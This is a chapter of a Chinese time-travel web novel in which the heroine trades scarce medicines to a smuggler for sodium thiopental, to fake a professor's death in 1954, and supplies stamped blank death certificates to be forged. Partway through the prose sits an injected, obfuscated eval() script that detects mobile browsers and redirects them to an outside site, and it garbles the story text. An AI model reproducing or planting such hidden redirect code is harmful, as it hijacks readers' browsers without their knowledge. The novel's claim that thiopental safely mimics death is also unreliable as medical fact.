197. 第28章
作品:《领主她今天卷了没》 思虑至此,白棘并未再过多纠结,她朝着麦考伊靠近几步,屏退他身边的两个手下,用只有他能听到的声音,低声将话挑明:“对,教授……那位被迫接受‘激素治疗’的教授,两年前的事,你应该能猜出来。”
这话一出,就连麦考伊都不免倒吸一口气。过了半晌他才反应过来,怪笑着连连点头:“有趣!你说的每句话,都出乎我的意料。”
紧接着,他面上换了一副若有所思的姿态,继续道:
“至于那位教授……愿上帝保佑他!这位教授可是声名赫赫的公众人物,要隐藏他的身份,难度可不小!
不过正巧,我还挺佩服他……我麦考伊虽说在那该死的战争里当了逃兵,但在对付那帮疯狗这件事上,却还分得清好坏!那位教授……可惜了!我不问你为何要救他,又为什么他必须要假死,但我麦考伊,可不怕什么调查!
行,这个计划,算上我麦考伊一份!不过交易归交易,我还是要问一句,这次,你打算拿什么来换?”
白棘不动声色,摆手示意身后的卢锡安和布兰温从背包里取出早就准备好的一大包青霉素粉、几瓶2L的高浓度酒精和好几袋抗生素。眼看着这些东西拿在手上时,那麦考伊几乎快要坐不住,连带着船舱内的所有人,瞪大了眼睛,忍不住发出一声惊叹。
她慢条斯理地将这些稀缺药品在自己面前的桌上一字排开,然后抬起头,双眼直视着惊讶得直接站起身来的麦考伊,唇边的笑意意味深长:
“这些用来换那位教授活着,我想,这笔交易应该足够公平。”
来之前众人已经提早做了准备,像是这类药物在1954年的交易价值极高,所以比起其他诸如金子、怀表之类财物,他们特意在自己的空间手环里存了许多在当时背景下稀缺但并不突兀的药品,幸好有了这些准备,现下总算是用上了。
眼下摆在桌上的这三种药品,在当时的稀缺程度自不必说,尤其高浓度酒精,更是“实验室级别”的存在,这次白棘更是出手阔绰,用了这么多来交换,看那一屋子人的神色她便知道,这交易想来是十拿九稳了。
果不其然,眼前的麦考伊已经完全不掩饰惊讶的程度,瞪圆了双眼贪婪地打量着桌上这些一字排开的稀缺品,眼神中带着狐疑的神色,嘴里仍不忘问了一句:“好家伙……这些‘天使尘’加‘圣水’…这次我必须得问问,这么多数量,你从哪搞来的?”
白棘料到他有此一问,这次看来不能含混而过,毕竟这些东西数量确实多,但那个计划又确实重要,容不得一丝差池,故而几人早就提前商量过,要用这些药物来换最后真正需要的东西。
从进来这船舱到现在,每一步都是精心计划好的,先换什么后换什么,先拿出什么东西,白棘心中早已有了规划,她必须循序渐进地拿东西出来,也必须要看到前两次交易中麦考伊的反应,再决定是否与他进行着最后一次交易。
自然,这些数量的稀缺药品,来源究竟要怎么说,几个人也早已想好了对策。
“既然你非要问,那么我也不怕告诉你。
这些‘天使尘’可是儿童医院的黑市货…我这位弟兄跟护士长是老相识了,那女人家里有好几个孩子要养,所以冒着风险给我偷换了标签,把‘已销毁’的瑕疵品卖了出来。
至于这些酒精嘛,它们本来是某个化学系教授实验室里的‘老鼠消毒剂’——你知道的,我认识些教授——这么多剂量,要拿到手可不容易,那老头以为我要做动物标本呢!
这些特效药……你自己知道就好,它们是从东边那个战场缴获的,我的人用三箱威士忌,跟海军陆战队换的。
行了,货从哪里来的我可说清楚了,要不要换,到了这个时候,你盐狗麦考伊不会是不敢了?”
白棘故意将来源说得具体,但关键的地方却用些话术掩盖过去,这样真真假假的一套信息放出去,结尾又故作不耐烦地催促,就连这麦考伊也挑不出什么毛病,毕竟她说得有理有据,这些东西又确实极为难得,就算是真查起来,他也打算豁出去冒一回险。
想到这里,麦考伊嘿嘿一笑,似乎是习惯性把那几颗金牙露出来,好让所有人都看看他的阔绰。
能看出来现在这麦考伊情绪有些激动,他一拍大腿,险些忘了自己腿上的旧疾,疼得他呲牙咧嘴,过了一会疼痛稍缓,他这才骂骂咧咧开口:
“这杂碎伤口……他们说我麦考伊是逃兵,你也是这么听说的吧?哈,我确实从那该死的战场上逃了,那帮疯狗实在太穷凶极恶,我再不逃,就等着被他们一点点折磨死!
我这伤口,就是那时被弹片伤了,那些战地医院就只来得及给我做简单清创和缝合,那帮军医就这么把弹片混着我的骨头碎片留在我这条腿上,说是临时有一批伤员,得先紧急处理那边,然后就把我晾在那里。
知道我为什么叫‘盐狗’吗?就是那时,那群混蛋军医说,伤口烂到骨头的,都该自己撒上些盐,然后像老狗一样自己舔干净!
后来我看战局越来越复杂,没办法就只能拖着我这条伤腿逃了,当时我哪还有空顾上这伤口,只能拖着它逃了一两年……那一两年里,它反复感染,我只能用这海盐加点酒来反复消毒……
哈,到了现在,我麦考伊什么都有了,还就只差这些该死的‘天使尘’和‘圣水’!“
白棘不动声色,眼看着麦考伊就势抬腿卷起裤管,那不断渗出黄绿色脓液的伤口便露了出来。
那伤口看上去确实已经有些年头了,伤的位置如今已经渗透到了腿骨,混着难闻的恶臭萦绕着麦考伊阴晴难辨的脸色,伤口周围皮肤已经变成了紫黑色。
麦考伊这会该是疼痛加剧,眼看着他的脸色变得煞白,甚至分不出神来对着白棘再多说什么,只以手势遣人从那桌子上一字排开的药物里,每样取了一些拿到他面前。
白棘见状随即明白,想来这是要当场试药,便也不做阻拦,只将身体靠在身后的椅背
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593191|141788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,朝着麦考伊做了一个“请”的手势。
那麦考伊便也不再推辞,索性小心翼翼地倒了些酒精在一旁的容器里,就连不慎洒出了一些,也心疼地倒吸一口气。他右手动作顿了顿,随即一股脑便将那少量酒精均匀地浇在自己那个触目惊心的伤口之上。
这是95%的高浓度酒精,那些1954年的烧酒、低度酒精自然无法与之相提并论,霎那间只见麦考伊全身疼得猛一抽搐,双眼往上一翻,似乎就要这样昏厥过去。
毕竟他那伤口确实极深,平时都时常疼痛难忍,更别说现在还浇上这高纯度的酒精,想来处于这个时代的人,几乎没有机会体验这种锥心刺骨的剧痛。
半晌,那麦考伊才缓过神来,口中嘶嘶吸着气,一边忍痛将那青霉素粉洒在伤口上,一边含混不清地骂骂咧咧道:
“好家伙!这圣水纯度够高!差点送我去见上帝!”
眼看着那伤口表层被高度酒精暂时凝固起来的脓液,在青霉素粉的作用下暂时变稀,他呲牙咧嘴地又赶忙吞下一片抗生素,直待那伤口处因青霉素的作用起了明显的变化,也不知是不是心理作用,他瞬间觉得身体里常年难忍的疼痛,似乎也被压下去了许多。
伤口的疼痛在减退,麦考伊心下一喜,右手一挥做了个交易达成的动作,一边示意手下的人取了2剂硫喷妥钠放在白棘面前的桌上,又另外让手下带了只活鸡和一针管硫喷妥钠,现场演示给白棘看。
眼看着那只鸡只几分钟便倒地“死亡”,麦考伊这才大笑几声,朝着白棘面前那两剂硫喷妥钠努努嘴,开口说道:
“看到没?这剂量,够放倒两个教授…可别搞砸!不然我可没时间再安排别的备用计划!”
硫喷妥钠是一种短效静脉麻醉药,经常用于全麻诱导和复合麻醉,对呼吸和心肌有抑制作用,注射后一段时间内,呼吸和心跳将微弱至难以被检测出来的程度,这个时间足够用于送医并宣告一个人的死亡。
并且,药物将在注入体内后进行代谢,之后生命体征逐渐恢复,假死的人会重新醒过来。
当时的医疗技术简陋,这种方法确实有几率被医生误判为死亡,但终究并不算天衣无缝。
白棘脑海中思考着,一边摇头,并接着麦考伊的话补充道:“不,还不够……要是别人,这么办确实没什么问题,但那位教授可是有影响力的公众人物,现下又身陷漩涡之中,他的死亡不可能那么轻易蒙混过去。
你说的这第一步,我看还得再加点保险——你需要帮我打点好医院那边的所有关系,不管你用什么办法,总而言之,教授的死亡,必须被医生认定为一件板上钉钉的事!”
说着,她从怀里取出夜间从殡仪馆取到的空白死亡报告及几个样本,那死亡证明上面已经盖好了章。白棘站起身,将这几份文件一同递给麦考伊,口中继续叮嘱:
“东西已经给你准备好了,拿好,找个医生编点什么上去,我可没工夫再费心这些细节!”